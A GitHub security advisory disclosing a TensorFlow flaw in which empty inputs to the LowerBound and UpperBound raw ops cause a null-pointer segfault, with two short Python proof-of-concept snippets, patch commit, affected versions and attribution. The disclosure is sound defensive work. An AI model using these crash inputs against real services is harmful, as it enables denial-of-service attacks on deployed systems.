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GHSA-qxpx-j395-pw36

GitHub Security Advisory

TensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

### Impact
If `LowerBound` or `UpperBound` is given an empty`sorted_inputs` input, it results in a `nullptr` dereference, leading to a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf

out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
```
```python
import tensorflow as tf

out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
```

### Patches
We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Affected Packages

PyPI tensorflow
Affected versions: 0 (fixed in 2.7.2)
PyPI tensorflow
Affected versions: 2.8.0 (fixed in 2.8.1)
PyPI tensorflow
Affected versions: 2.9.0 (fixed in 2.9.1)
PyPI tensorflow-cpu
Affected versions: 0 (fixed in 2.7.2)
PyPI tensorflow-cpu
Affected versions: 2.8.0 (fixed in 2.8.1)
PyPI tensorflow-cpu
Affected versions: 2.9.0 (fixed in 2.9.1)
PyPI tensorflow-gpu
Affected versions: 0 (fixed in 2.7.2)
PyPI tensorflow-gpu
Affected versions: 2.8.0 (fixed in 2.8.1)
PyPI tensorflow-gpu
Affected versions: 2.9.0 (fixed in 2.9.1)

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Key Information

GHSA ID
GHSA-qxpx-j395-pw36
Published
September 16, 2022 10:14 PM
Last Modified
September 19, 2022 7:26 PM
CVSS Score
5.0 /10
Primary Ecosystem
PyPI
Primary Package
tensorflow
GitHub Reviewed
✓ Yes

Dataset

Last updated: November 23, 2025 6:29 AM

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